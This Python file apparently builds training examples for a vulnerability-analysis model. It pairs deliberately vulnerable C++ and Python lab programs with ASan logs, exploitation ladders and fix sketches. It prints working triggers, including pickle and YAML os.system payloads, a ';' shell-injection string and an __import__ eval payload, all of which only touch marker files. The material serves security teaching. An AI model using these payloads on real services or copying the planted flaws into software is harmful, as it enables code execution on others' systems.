Neurona's picture
Duplicate from Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent
dd70e57
Raw
History Blame Contribute Delete
34.6 kB
# -*- coding: utf-8 -*-
"""Track C: own labs - every trigger below was ACTUALLY executed in WSL (Ubuntu 24.04,
g++ 13 / ASan; Python 3.12) and the embedded evidence lines are from the captured logs
(/home/corov/cyber/labs/evidence/*). No invented crashes."""
from trackb_part1 import SYSTEM, S, add
C_PREAMBLE = ("Analyze this code for exploitable faults (local lab / fuzz context). "
"Deliver: white-box analysis, minimal trigger, full exploit writeup, verdict.\n\n")
def cyber_add(sid, user, think, trigger, writeup, verdict, impact, reasoning):
add(sid, user, think, trigger, writeup, verdict, impact, reasoning, preamble=C_PREAMBLE)
def code_user(src, lang="cpp", q="Analyze this code for exploitable faults. Build a minimal trigger and judge exploitability honestly."):
return q + "\n\n```" + lang + "\n" + src.strip() + "\n```"
# ---------------------------------------------------------------- lab02 heap OOB WRITE
cyber_add("C_lab02_oob_write",
code_user(r"""
#include <cstdlib>
#include <cstdio>
#include <cstring>
// Off-by-bound write: index range derived from user count, allocation one short.
int main(int argc, char** argv) {
size_t n = (argc > 1) ? (size_t)strtoull(argv[1], nullptr, 10) : 4;
char* buf = (char*)malloc(n - 1); // allocation error: n-1
for (size_t i = 0; i < n; ++i)
buf[i] = 'B'; // OOB WRITE at i == n-1
buf[n - 1] = '\0';
printf("%s\n", buf);
free(buf);
return 0;
}
"""),
"""White-Box: Loop writes indices 0..n-1 (n bytes) into an (n-1)-byte heap allocation. The last iteration, i == n-1, writes one byte past the boundary, and the terminator write at buf[n-1] is out of bounds too. Fault: heap out-of-bounds WRITE of 1 byte, deterministic; the length source (argv) and allocation size are coupled but off by one. No gate (canary/ASLR/NX/seccomp) is involved at this rung - the fault precedes all of them. Ladder: write rung reached; control rung NOT reached in this lab (needs value/offset control over an adjacent function pointer/vtable plus heap grooming).""",
"""Verified in an ASan build (g++ -O1 -g -fsanitize=address):
$ ./lab02_oob_write 32
==485==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50300000005f ...
SUMMARY: AddressSanitizer: heap-buffer-overflow lab02_oob_write.cpp:9 in main
Sanitizer aborts at the loop store (line 9), one byte past the malloc(n-1) region; exit 1. Reproducible for any n > 1.""",
"""Root cause (source -> sink): allocation size n-1 vs loop bound n (lab02_oob_write.cpp:6-9). Sink: byte store at buf[n-1] past the owned chunk.
Reachability: unconditional on the attacker-chosen count; one argv value reaches the faulty store.
Primitive: heap OOB WRITE, 1 byte, fixed content 'B', fixed offset relative to a fresh allocation. In a real allocator this first corrupts chunk metadata (size fields) or adjacent object data.
Chain to impact: write -> metadata corruption -> allocator confusion (overlapping chunks) -> arbitrary write in a groomed heap -> control-flow hijack. The lab stops at the write rung: value and offset control are too weak.
What is missing to the next rung: decoupled offset (independent index source), attacker-chosen value bytes, a victim object adjacent in the layout.
Stability (ASLR/heap): the fault is deterministic; exploitation is heap-layout dependent (glibc tcache/fastbin state); ASLR only matters from the pointer-leak stage onward.
Fix sketch (one level): derive allocation and loop bound from the SAME expression (malloc(n)) or validate the bound against the allocated size; prefer span/vector over raw malloc.""",
"VALID_BUG", "high",
"""REASONING: lab02_oob_write.cpp:6-9 - malloc(n-1) vs loop to n gives a deterministic 1-byte heap OOB WRITE at attacker-chosen n; ASan-verified abort at the first OOB store. Write rung verified; control rung not claimed (insufficient value/offset control - stated).""")
# ---------------------------------------------------------------- lab03 UAF
cyber_add("C_lab03_uaf",
code_user(r"""
#include <cstdlib>
#include <cstdio>
#include <cstring>
// Object freed on the error path, then the success path reads it
// (the "cleanup-order" UAF shape seen in many parser CVEs).
struct Session { long token; char tag[16]; };
int main() {
Session* s = (Session*)malloc(sizeof(Session));
s->token = 0x41414141;
strcpy(s->tag, "live");
int error = 0; // simulated error branch frees early
if (error == 0) {
free(s); // error-path style cleanup
}
printf("token=%lx tag=%s\n", s->token, s->tag); // UAF READ
return 0;
}
"""),
"""White-Box: free(s) precedes the printf reads of s->token and s->tag - use-after-free READ of the freed 24-byte chunk. This is the parser-CVE shape: error-path cleanup runs, control flow continues on the success path anyway. Between free and use there is no allocator call, so the chunk sits untouched in quarantine; ASan aborts at the read. Ladder: read rung; the write variant (free then WRITE) would be the corruption rung; control requires reclaiming the chunk with attacker data (UAF -> type confusion via reallocation) - not present here.""",
"""Verified (ASan build):
$ ./lab03_uaf
==...==ERROR: AddressSanitizer: heap-use-after-free ... READ of size 8
SUMMARY: AddressSanitizer: heap-use-after-free lab03_uaf.cpp:17 in main
Reads at the printf of s->token/s->tag after free(s); exit 1.""",
"""Root cause: cleanup ordering - free executed while subsequent code still dereferences the pointer (lab03_uaf.cpp:14-17). Source -> sink: free(s) -> printf reads of the freed chunk.
Reachability: unconditional here; in the parser shape, reachable whenever error cleanup fires but processing continues (partial-decode bugs).
Primitive: UAF read (stale heap data disclosure); stronger family (UAF write / reclaim) needs an intervening same-size-class allocation with attacker content.
Chain: read -> leak of stale data -> (with reclaim) type confusion -> control. Lab verified to the read rung.
Missing to next rung: an intervening malloc with attacker-controlled contents.
Stability: deterministic fault; glibc tcache LIFO makes reclaim reliable in real settings.
Fix sketch: null the pointer at free + single ownership; in parsers, two-phase commit - side effects only after full decode success.""",
"VALID_BUG", "medium",
"""REASONING: lab03_uaf.cpp:17 reads s->token/s->tag after free at :14 - ASan-verified heap-use-after-free READ. Read rung; write/control rungs need chunk reclaim (absent) - impact medium.""")
# ---------------------------------------------------------------- lab04b double free
cyber_add("C_lab04b_double_free",
code_user(r"""
#include <cstdlib>
#include <cstring>
// Canonical stale-pointer double free.
int main() {
char* p = (char*)malloc(32);
char* stale = p;
free(p);
free(stale); // DOUBLE FREE
return 0;
}
""", q="Is this exploitable or just a crash? Analyze honestly."),
"""White-Box: free(stale) re-frees the same 32-byte chunk - the classic stale-pointer double free. Two verified build behaviors: (1) -O0 + ASan aborts: "attempting double-free ... freed by thread T0 here: main lab04b:7; previously allocated: main lab04b:5". (2) At -O1 the compiler ELIMINATED the second free (double free is UB; the optimizer deduplicated the calls) - the fault silently vanished from the binary. That asymmetry is part of the analysis: absence of a crash at higher optimization is NOT evidence of safety. Mitigation landscape: glibc tcache double-free detection (key field) fires on the naive tcache case even without ASan - a mitigation, not a fix (fastbin/tcache-full paths historically bypass it). Ladder: crash rung -> with grooming: chunk allocated twice to two owners -> overlapping allocations -> arbitrary write; control not reached here.""",
"""Verified at -O0/ASan:
$ ./lab04b_double_free
==647==ERROR: AddressSanitizer: attempting double-free on 0x503000000040 in thread T0
#1 ... in main lab04b_double_free.cpp:8
freed by thread T0 here: main lab04b_double_free.cpp:7
SUMMARY: AddressSanitizer: double-free ... in free
Note: the same source at -O1 exited 0 - the optimizer removed the redundant free (UB). Build such labs at -O0 or split across translation units to preserve the fault.""",
"""Root cause: stale alias (stale = p) surviving free without nulling; second free at lab04b:8.
Reachability: unconditional; in real code triggered by error-path cleanup running twice (dual ownership / refcount bug).
Primitive: allocator-metadata corruption potential (fastbin/tcache dup) -> overlapping chunks -> arbitrary write. Lab: crash rung only.
Chain: double free -> duplicate entry -> two live pointers to one chunk -> write-what-where via the second owner. Missing: allocator without dup detection, plus an allocation between the frees to consume the duplicate.
Stability: glibc >= 2.26 tcache key check aborts the naive case; historical fastbin dup needed size-field matching (0x30 class here). ASLR irrelevant at this rung.
Fix sketch: ownership discipline (single owner / refcount), null-out after free; allocator hardening is depth, not the fix.""",
"VALID_BUG", "high",
"""REASONING: lab04b_double_free.cpp:7-8 - same chunk freed twice via stale alias; ASan-verified double-free at -O0, and at -O1 the UB-elimination was observed (no-crash != safe). Overlapping-allocation path; grooming needed for control - stated.""")
# ---------------------------------------------------------------- lab05 stack overflow
cyber_add("C_lab05_stack_overflow",
code_user(r"""
#include <cstring>
#include <cstdio>
// Fixed stack buffer fed by argv without length bound
// (classic argv/recv into stack array).
int main(int argc, char** argv) {
char name[16];
if (argc > 1) {
strcpy(name, argv[1]); // unbounded copy into stack buffer
printf("hello %s\n", name);
}
return 0;
}
""", q="How far does this get an attacker? Trigger + writeup + verdict."),
"""White-Box: unbounded strcpy of argv[1] into a 16-byte stack array - the canonical stack overflow. Two verified build flavors: (a) default Ubuntu g++ (fortify at -O1+) - glibc aborts at runtime: "*** buffer overflow detected ***: terminated" (SIGABRT); fortify only catches copies whose size the compiler can bound, so it is probabilistic; (b) -D_FORTIFY_SOURCE=0 + ASan: "stack-buffer-overflow ... in strcpy" - the store runs past name[16] toward saved registers/return address. Gates for the control rung: stack canaries (Ubuntu defaults add them), NX (needs ROP), ASLR/PIE (needs a leak or partial overwrite). Ladder: write rung verified; control NOT claimed.""",
"""Verified both flavors:
$ ./lab05_stack_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (ASan, fortify off)
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy (exit 1)
$ ./lab05_stack_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (default hardening)
*** buffer overflow detected ***: terminated (SIGABRT)
The fault exists in both; only the catcher differs.""",
"""Root cause: unbounded strcpy into a fixed 16-byte stack buffer (lab05:8).
Reachability: single input string; in a real service, whoever controls the equivalent input.
Primitive: sequential stack overwrite past name[16]; with sufficient length reaches saved RBP/return address.
Chain: overflow -> canary overwrite (crash or bypass) -> return-address control -> ROP under NX -> code reuse. Lab: crash/write rung verified; control not claimed.
Missing to next rung: canary leak, ROP chain, PIE-base leak.
Stability: crash deterministic; exploitation dominated by ASLR/canary state.
Fix sketch: bounded copy (memcpy with explicit size check) or std::string; -Werror=format-security/_FORTIFY_SOURCE=2 and stack protector as depth.""",
"VALID_BUG", "high",
"""REASONING: unbounded strcpy into name[16]; ASan-verified stack-buffer-overflow WRITE plus fortify SIGABRT under default hardening. Write rung verified; control rung (canary/ASLR/ROP) explicitly not claimed.""")
# ---------------------------------------------------------------- lab06 int overflow -> undersized alloc
cyber_add("C_lab06_int_overflow",
code_user(r"""
#include <cstdlib>
#include <cstdio>
#include <cstdint>
// Count*size product overflow: allocation small, loop writes count elements.
int main(int argc, char** argv) {
// count chosen so count*8 overflows 32-bit arithmetic used for the alloc
unsigned long count = (argc > 1) ? strtoul(argv[1], nullptr, 10) : 0x20000001UL;
size_t alloc = (size_t)(uint32_t)(count * 8); // wraps to small value
printf("count=%lu alloc=%zu\n", count, alloc);
unsigned long* a = (unsigned long*)malloc(alloc ? alloc : 1);
for (unsigned long i = 0; i < 4; ++i) // even a few writes pass the wrapped alloc
a[i] = 0x4141414141414141UL; // OOB WRITE almost immediately
free(a);
return 0;
}
""", q="Classify the fault and its primitive."),
"""White-Box: count*8 is computed in 64-bit, truncated to uint32_t for the allocation: count = 536870913 (0x20000001) -> 0x100000008 -> truncated to 8 -> malloc(8). The loop then performs four 8-byte stores at a[0..3]: a[0] fits, a[1..3] write 24 bytes past the chunk. This is the oss-fuzz-class workhorse: integer overflow -> undersized allocation -> heap OOB write. Verified -O0/ASan: "WRITE of size 8 ... heap-buffer-overflow". At -O1 this exact source exited cleanly - the optimizer folded the constant stores away: another proof that no-crash != safe. Gates: none at the write rung.""",
"""Verified (-O0, ASan):
$ ./lab06_int_overflow_alloc 536870913
count=536870913 alloc=8
==666==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000018
WRITE of size 8 at 0x502000000018 thread T0
SUMMARY: AddressSanitizer: heap-buffer-overflow lab06_int_overflow_alloc.cpp:12 in main
alloc wraps to 8; a[1] is the first out-of-bounds store.""",
"""Root cause: width mismatch in the sizing expression (lab06:9) - 64-bit product truncated to 32 bits for malloc while the loop indexes against the untruncated count. Source -> sink: argv count -> wrapped size -> undersized chunk -> OOB stores.
Reachability: one numeric input; the wrap window is any count in [2^29, 2^32/8).
Primitive: heap OOB WRITE with attacker-chosen repeat count - the strongest lab primitive in this set (24 bytes past-chunk here).
Chain: undersized chunk -> adjacent metadata/object corruption -> overlapping allocations -> arbitrary write -> control. Lab verified to the write rung.
Missing to next rung: heap grooming, a victim object, decoupled value control.
Stability: deterministic fault; exploitation allocator-dependent.
Fix sketch: size_t end-to-end with __builtin_mul_overflow check before malloc; cap the input count.""",
"VALID_BUG", "high",
"""REASONING: lab06:9-12 - 32-bit truncation of a 64-bit product sizes malloc(8) while the loop writes 32 bytes; ASan-verified heap-buffer-overflow WRITE of size 8 at a[1]. Write rung, strongest primitive; control needs grooming - stated.""")
# ---------------------------------------------------------------- lab10 format string
cyber_add("C_lab10_format_string",
code_user(r"""
#include <cstdio>
// User-controlled string passed as the format argument.
int main(int argc, char** argv) {
if (argc > 1)
printf(argv[1]); // FORMAT STRING BUG
putchar('\n');
return 0;
}
""", q="Attacker controls argv[1]. What do they get, concretely?"),
"""White-Box: user-controlled string used as the printf format - the format string vulnerability. Verified concretely: input "LEAK:%lx.%lx.%lx.%lx" printed "LEAK:7fff4be78768.7fff4be78780.55b186d9fd40.0" - real vararg-surface values: two 0x7fff-prefixed stack addresses and a 0x55b1-prefixed PIE code address. Leak rung demonstrated: stack-ASLR and binary-base disclosure. Write rung is %n; under default glibc hardening the positional probe aborted ("*** invalid %N$ use detected ***", SIGABRT - captured), and fortify blocks %n in writable-format contexts: mitigations that raise the bar, not remove the bug. Ladder: leak (verified) -> write via %n (blocked here, not absent) -> control via ROP on the leaked base.""",
"""Verified (ASan build, fortify off for the leak; -Wformat-security warned at compile):
$ ./lab10_format_string "LEAK:%lx.%lx.%lx.%lx"
LEAK:7fff4be78768.7fff4be78780.55b186d9fd40.0
Two stack pointers and one PIE code pointer disclosed; exit 0 (pure leak, no crash).
Under default glibc hardening, positional-arg probes abort: "*** invalid %N$ use detected ***" (SIGABRT) - captured as well.""",
"""Root cause: argv[1] passed as the format (lab10:5); the compiler warning -Wformat-security fired at build - directly greppable marker.
Reachability: any path where attacker-controlled text reaches printf as format.
Primitive: arbitrary vararg-surface reads (leak); via %n, writes to stack-resolved addresses (not executed - glibc fortify blocks bare %n here).
Chain: leak (done) -> ASLR/PIE defeat via disclosed bases -> %n write or ROP -> control. Honest stop: leak rung verified; write rung environment-blocked, bug not absent.
Missing to next rung: %n usable (older libc / other contexts), pointer-chasing formats (%s on stack slots).
Stability: leaked low bits vary run to run (stack layout); fortify behavior is glibc-version dependent.
Fix sketch: printf("%s", argv[1]); enable -Werror=format-security in CI; _FORTIFY_SOURCE=2 as depth.""",
"VALID_BUG", "medium",
"""REASONING: lab10:5 printf(argv[1]) - verified pointer disclosure (stack 0x7fff... + PIE 0x55b1... printed from the vararg surface); leak rung proven, %n write rung blocked by glibc hardening in this environment - impact medium with upgrade path stated.""")
# ---------------------------------------------------------------- lab09 OOB read leak
cyber_add("C_lab09_oob_leak",
code_user(r"""
#include <cstdlib>
#include <cstdio>
#include <cstring>
// Adjacent-secret layout: secret allocated after buffer; OOB read walks into it.
int main() {
char* buf = (char*)malloc(8);
char* secret = (char*)malloc(8);
strcpy(secret, "S3CRET!!");
for (int i = 8; i < 24; ++i)
putchar(buf[i]); // OOB READ past buf into allocator-adjacent memory
putchar('\n');
return 0;
}
"""),
"""White-Box: reads buf[8..23] - 16 bytes past an 8-byte chunk - into whatever the allocator placed there. ASan proves the access is illegal ("heap-buffer-overflow READ"). The plain (no-sanitizer) build ran to completion printing layout-dependent bytes: in the captured run the adjacent memory was allocator padding/zeros, NOT the secret. Honest lesson: an OOB read is a proven illegal access; whether it DISCLOSES the neighbor depends on allocator layout (chunk order, size class, reuse). Ladder: illegal access (verified) -> disclosure (layout-bound, weak in captured run) -> targeted secret read (needs grooming).""",
"""Verified:
$ ./lab09_oob_leak (ASan build)
==519==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000018
SUMMARY: AddressSanitizer: heap-buffer-overflow lab09_oob_leak.cpp:10 in main
$ ./lab09_plain (plain -O0 build)
<16 layout-dependent bytes printed; captured run: padding/zeros, no secret bytes> exit=0
Both runs are evidence: the illegal access is deterministic; disclosure strength is layout-bound.""",
"""Root cause: loop bound 24 vs 8-byte allocation (lab09:9-10) - adjacency assumption in the reader.
Reachability: unconditional; adjacency of the secret is allocator-defined, not attacker-defined here.
Primitive: heap OOB READ (16 bytes); neighbor disclosure only under favorable layout.
Chain: OOB read -> leak adjacent secret -> credential/key theft. Verified: access rung; leak rung environment-dependent (captured run exposed no secret bytes - reported as-is).
Missing to next rung: heap grooming (spray + ordering) to force the secret adjacent.
Stability: layout varies per run; the sanitizer catch is deterministic.
Fix sketch: bound reads by allocation size; explicit length fields; ownership-clean buffer APIs.""",
"VALID_BUG", "medium",
"""REASONING: lab09:10 reads 16 bytes past an 8-byte chunk (ASan-verified heap-buffer-overflow READ); disclosure of the adjacent secret is layout-dependent and the captured plain run leaked no secret bytes - stated honestly. Impact medium (proven illegal access, conditional disclosure).""")
# ---------------------------------------------------------------- lab08 null deref
cyber_add("C_lab08_null_deref",
code_user(r"""
#include <cstdlib>
#include <cstdio>
// Missing failure check after a lookup that returns nullptr on miss
// (error path not propagated).
struct Node { int v; };
static Node* lookup(int key) { return nullptr; } // simulated miss
int main(int argc, char** argv) {
int key = (argc > 1) ? atoi(argv[1]) : 1;
Node* n = lookup(key);
printf("%d\n", n->v); // NULL DEREF on miss
return 0;
}
""", q="Security impact?"),
"""White-Box: lookup returns nullptr on miss; the caller dereferences without a check - null-pointer READ, SEGV. Verified: "SEGV on unknown address 0x000000000000 ... in printf" (fault while loading n->v for the argument). Class discipline: a null deref is a CRASH primitive - availability only. No read/write of attacker-chosen data, no disclosure (fault address is the null page). Not every sanitizer hit is "high": this is honest low. Ladder: crash rung; nothing beyond (the null-WRITE variant does not exist here; on modern OSes mmap_min_addr blocks null-page mapping games anyway).""",
"""Verified (ASan build):
$ ./lab08_null_deref 7
==515==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
SUMMARY: AddressSanitizer: SEGV ... in printf
Exit 1.
Deterministic: any key -> miss -> null-page read -> SIGSEGV.""",
"""Root cause: unchecked lookup failure (lab08:9-10); error value not propagated.
Reachability: any miss key; unconditional in the lab.
Primitive: crash (process availability). No corruption, no disclosure.
Chain: none beyond crash.
Missing to next rung: n/a - no path from a pure null read to corruption on modern OSes.
Stability: deterministic.
Fix sketch: check the lookup result and propagate the miss; [[nodiscard]] on lookup.""",
"VALID_BUG", "low",
"""REASONING: lab08:10 dereferences the nullptr from a missed lookup - ASan-verified SEGV at the null page; availability-only crash primitive, no corruption/disclosure -> impact low, the honest bottom of the VALID ladder.""")
# ---------------------------------------------------------------- lab07 type confusion
cyber_add("C_lab07_type_confusion",
code_user(r"""
#include <cstdio>
#include <cstdint>
// Tag-less variant struct: producer writes one layout, consumer reads another.
struct MsgA { uint8_t kind; int32_t value; };
struct MsgB { uint8_t kind; void* callback; };
static void consume(void* raw) {
MsgB* b = (MsgB*)raw; // consumer assumes B
printf("callback ptr = %p\n", (void*)b->callback); // reads MsgA::value as pointer
}
int main() {
MsgA a{};
a.kind = 1; a.value = 0x41414141;
consume(&a); // confusion: A memory read as B
return 0;
}
"""),
"""White-Box: no runtime type tag - producer writes MsgA, consumer reinterprets as MsgB. Two verified observations: (1) ASan flagged "stack-buffer-overflow ... in consume" for this exact source - the reinterpretation read walked past the MsgA object in this build's layout, i.e. the confusion produced a real out-of-bounds access. (2) The printed value was the MsgA::value bytes (0x41414141 family) interpreted as a pointer - misinterpretation demonstrated on the semantic layer too. Ladder: confusion -> forged-pointer read (print sink here) -> if the confused field were CALLED or WRITTEN: indirect-call/write primitive = control rung. Honest stop: this lab only reads the confused pointer; no indirect call exists.""",
"""Verified (ASan build):
$ ./lab07_type_confusion
==511==ERROR: AddressSanitizer: stack-buffer-overflow on address ...
SUMMARY: AddressSanitizer: stack-buffer-overflow lab07_type_confusion.cpp:9 in consume
The reinterpretation read past the MsgA stack object in this layout; the printed "callback pointer" carries the A::value bytes - confusion proven on both layers.""",
"""Root cause: tag-less variant handling with a C-style cast asserting a layout the producer never guaranteed (lab07:7-9).
Reachability: any path routing a MsgA into consume.
Primitive: memory reinterpretation - forged pointer constructed from non-pointer data (read demonstrated); call/write primitives only if a sink invokes or stores the confused field.
Chain: confusion -> forged pointer -> (call sink) indirect branch control or (write sink) arbitrary write. Lab: read/print sink only.
Missing to next rung: a call or assignment through b->callback.
Stability: deterministic confusion; the OOB aspect is layout-dependent (the ASan catch itself is layout evidence).
Fix sketch: tagged dispatch on kind with runtime validation, std::variant, or separate typed queues; never reinterpret variant payloads.""",
"VALID_BUG", "medium",
"""REASONING: lab07:9 reinterprets MsgA as MsgB without a tag - ASan-verified OOB read in consume plus a printed forged pointer (A::value as callback). Read-rung confusion; call/write sink absent -> medium with upgrade path named.""")
# ---------------------------------------------------------------- lab01 OOB read (trusted length field)
cyber_add("C_lab01_oob_read",
code_user(r"""
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <cstdint>
// Mirrors the classic ARVO shape: length field trusted for a copy/read
// boundary without re-validating against the allocation.
struct Record { uint32_t len; char data[]; };
int main(int argc, char** argv) {
size_t alloc_len = 8;
Record* r = (Record*)malloc(sizeof(Record) + alloc_len);
memset(r->data, 'A', alloc_len);
uint32_t reported = (argc > 1) ? (uint32_t)strtoul(argv[1], nullptr, 10) : alloc_len;
unsigned long sum = 0;
for (uint32_t i = 0; i < reported; ++i)
sum += (unsigned char)r->data[i]; // OOB READ when reported > alloc_len
printf("sum=%lu\n", sum);
free(r);
return 0;
}
""", q="Trigger + verdict?"),
"""White-Box: the flexible-array allocation covers 8 payload bytes; the loop bound comes from a length FIELD (argv-simulated wire value) never re-validated against the allocation - the classic trusted-length OOB read of parser CVEs. reported=64 walks 56 bytes past the chunk. Verified: "heap-buffer-overflow READ ... lab01_oob_read.cpp:18 in main". Primitive: OOB read with attacker-chosen range - a disclosure engine when neighbors hold secrets; the accumulator form is a byte-sum oracle, direct-copy variants exfiltrate outright. Ladder: read rung verified; control rung not applicable to a pure read.""",
"""Verified (ASan):
$ ./lab01_oob_read 64
SUMMARY: AddressSanitizer: heap-buffer-overflow lab01_oob_read.cpp:18 in main
Exit 1.
Any reported > 8 walks out of the 8-byte payload region.""",
"""Root cause: loop bound from wire data not cross-checked against the allocation extent (lab01:17-18).
Reachability: one field value in the input; unconditional once parsed.
Primitive: heap OOB READ, attacker-ranged; accumulator = side-channel oracle, copy form = direct disclosure.
Chain: read -> adjacent-memory disclosure -> key/pointer theft. Lab: access rung verified; disclosure depends on neighbors (layout honesty applies).
Missing to next rung: adjacent secret + direct-copy sink.
Stability: deterministic access; content layout-dependent.
Fix sketch: validate reported <= alloc_len at the parse boundary; span types carrying lengths.""",
"VALID_BUG", "medium",
"""REASONING: lab01:18 trusts a wire length field over an 8-byte allocation - ASan-verified heap-buffer-overflow READ; attacker-ranged disclosure primitive (oracle form here). Read rung; impact medium.""")
# ---------------------------------------------------------------- Python labs (all marker-verified)
PY_LABS = [
("C_labp1_pickle",
r"""
# vulnerable service: deserializes a "session blob" from an untrusted source
import pickle, base64, sys
blob = sys.argv[1] if len(sys.argv) > 1 else ""
data = pickle.loads(base64.b64decode(blob)) # UNSAFE
print("restored:", data)
""",
"""White-Box: pickle.loads on base64 from argv - an untrusted code-carrying serialization format executed during deserialization. The exploit payload uses __reduce__ so unpickling calls os.system. Verified end-to-end: the marker file /tmp/pwned_pickle existed after loading the crafted blob - arbitrary command execution at load time, before any application logic runs. Ladder: full chain to code execution (top rung within the process). Gates: none in pure Python; restricted-Unpickler allowlists exist but are not used here.""",
"""Verified (Python 3.12):
$ python3 labp1_pickle_make.py > b64 # Exploit.__reduce__ -> (os.system, ("touch /tmp/pwned_pickle",))
$ python3 labp1_pickle.py "$b64"
restored: 0
$ ls /tmp/pwned_pickle
/tmp/pwned_pickle # MARKER PRESENT - execution proven""",
"""Root cause: pickle (code-carrying format) applied to untrusted input (labp1:5).
Reachability: any input path reaching loads.
Primitive: arbitrary code execution at deserialize time (os.system shown; __reduce__/GLOBAL give full expression power).
Chain: complete - blob delivery -> unpickle executes attacker Python -> process-user permissions.
Missing to next rung: nothing within the process.
Stability: deterministic; no ASLR/race involvement.
Fix sketch: JSON for untrusted data; if pickle unavoidable, restricted Unpickler with explicit allowlist - and even then treat as hardening, not a boundary.""",
"VALID_BUG", "high",
"""REASONING: labp1:5 pickle.loads on untrusted base64 - marker-verified os.system execution on unpickle (full in-process RCE chain); impact high."""),
("C_labp2_yaml",
r"""
# vulnerable config loader
import yaml, sys
cfg = yaml.load(sys.argv[1] if len(sys.argv) > 1 else "{}", Loader=yaml.Loader) # Loader = unsafe
print("config:", cfg)
""",
"""White-Box: yaml.Loader (not SafeLoader) enables python/object tags - the loader CONSTRUCTS arbitrary Python objects from tags like !!python/object/apply:. Verified: '!!python/object/apply:os.system ["touch /tmp/pwned_yaml"]' executed os.system during load; marker present after the run. Ladder: complete code-execution chain at parse time. Gates: none in this configuration; SafeLoader/CSafeLoader is the documented boundary this code fails to use.""",
"""Verified (Python 3.12, PyYAML):
$ python3 labp2_yaml.py '!!python/object/apply:os.system ["touch /tmp/pwned_yaml"]'
config: 0
$ ls /tmp/pwned_yaml
/tmp/pwned_yaml # MARKER PRESENT""",
"""Root cause: unsafe Loader selection (labp2:4) enabling object-construction tags.
Reachability: any untrusted string reaching yaml.load.
Primitive: arbitrary object construction -> direct code execution.
Chain: complete (parse-time RCE).
Missing to next rung: none in-process.
Stability: deterministic.
Fix sketch: yaml.safe_load / CSafeLoader unconditionally for external input; CI grep for bare Loader usage.""",
"VALID_BUG", "high",
"""REASONING: labp2:4 uses yaml.Loader on untrusted input - marker-verified os.system execution via !!python/object/apply tag; parse-time RCE, impact high."""),
("C_labp3_inject",
r"""
# vulnerable ping utility
import subprocess, sys
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
out = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
print(out.stdout[:200])
""",
"""White-Box: user string interpolated into a shell command line with shell=True - the injection surface is every shell metacharacter (;, &&, backticks, $()). Verified: host = '127.0.0.1; touch /tmp/pwned_inject' executed the injected command; marker present. Ladder: complete - arbitrary command execution with the process's privileges (a network-facing variant is pre-auth RCE if reachable before auth). Gates: none; quoting/escaping would be the defense and none is applied.""",
"""Verified (Python 3.12):
$ python3 labp3_shell_injection.py '127.0.0.1; touch /tmp/pwned_inject'
... ping output ...
$ ls /tmp/pwned_inject
/tmp/pwned_inject # MARKER PRESENT""",
"""Root cause: string-built command + shell=True (labp3:4).
Reachability: every caller-controllable fragment of the interpolated string.
Primitive: arbitrary command execution (second command after ';').
Chain: complete (service-privilege command execution).
Missing to next rung: none in-process.
Stability: deterministic.
Fix sketch: argument-list form (["ping", "-c", "1", host], shell=False) - boundaries become structural; input validation as depth only.""",
"VALID_BUG", "high",
"""REASONING: labp3:4 f-string into shell=True - marker-verified command injection via ';' metacharacter; RCE with process privileges, impact high."""),
("C_labp4_eval",
r"""
# vulnerable calculator service
import sys
expr = sys.argv[1] if len(sys.argv) > 1 else "1+1"
print("result:", eval(expr)) # EVAL on raw input
""",
"""White-Box: eval compiles and executes attacker source in the process namespace - CPython eval has no sandbox. Verified: expr "__import__('os').system('touch /tmp/pwned_eval')" executed at eval time; marker present. The only limits are the expression grammar - defeat via __import__, comprehensions, lambda chains. Ladder: complete code execution. Gates: none; the language's documented posture is that in-process sandboxes do not hold.""",
"""Verified (Python 3.12):
$ python3 labp4_eval.py "__import__('os').system('touch /tmp/pwned_eval')"
result: 0
$ ls /tmp/pwned_eval
/tmp/pwned_eval # MARKER PRESENT""",
"""Root cause: eval on raw input (labp4:4).
Reachability: the input path itself.
Primitive: arbitrary code execution (os.system shown).
Chain: complete.
Missing to next rung: none in-process.
Stability: deterministic.
Fix sketch: parsed evaluators only (ast.literal_eval for literals; domain parsers for arithmetic); eval NEVER on external input.""",
"VALID_BUG", "high",
"""REASONING: labp4:4 eval on argv - marker-verified os.system execution via __import__; in-process RCE, impact high."""),
]
for sid, src, think, trigger, writeup, verdict, impact, reasoning in PY_LABS:
cyber_add(sid, code_user(src, lang="python",
q="Analyze this Python service for exploitable faults. Trigger + writeup + verdict."),
think, trigger, writeup, verdict, impact, reasoning)